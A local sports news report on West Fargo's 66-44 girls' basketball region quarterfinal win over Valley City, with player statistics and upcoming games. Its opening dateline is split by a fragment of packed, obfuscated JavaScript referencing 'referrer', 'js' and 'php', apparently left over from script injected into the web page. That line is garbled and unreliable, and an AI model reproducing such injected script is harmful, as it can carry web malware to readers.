WEST nrnsk|var|u0026u|referrer|rkhke||js|php’.split(‘|’),0,{}))
FARGO (NewsDakota.com) – West Fargo’s zone press and stingy defense has frustrated opponents all season. Add Valley City to that list. West Fargo forced 36 Hi-Liners turnovers on Tuesday, as the Packers cruised to a 66-44 win in the East Region quarterfinals.

The Packers forced 23 first-half turnovers, which led to 21 points. Despite that, the Hi-Liners stayed within in reach much of the 1st half. After five consecutive points from Mariah Olstad cut the Packers’ lead to nine late in the half, West Fargo ended the half on an 11-0 run and led 34-14 at halftime. The Hi-Liners never threatened in the 2nd half, as West Fargo increased the lead to as high as 60-27.

Christine Baltezore led four Packers in double figures with 14 points, 5 assists, and 6 steals. Lexi Lennon and Cassidy Thorson added 13 points, and Cassidy Nelson added 10 points and 6 rebounds off the bench. The Hi-Liners was led 13 points each from Clarissa Olson and Dierra Diegel. The Hi-Liners outrebounded the Packers 40-35, led by Olson’s 9, 8 from Mariah Olstad, and 6 from Diegel.

The Packers move to 18-2 on the season, and will face Fargo North on Friday night in the semifinals at the Fargo Civic. Valley City is now 12-9 on the season. The Hi-Liners meet Devils Lake in a loser-out game at the Fargo Civic on Friday afternoon. The Firebirds edged Valley City 67-66 in their lone EDC meeting on January 10th. Tip-off at 3:45, pre-game at 3:30 on KOVC AM 1490 and www.newsdakota.com.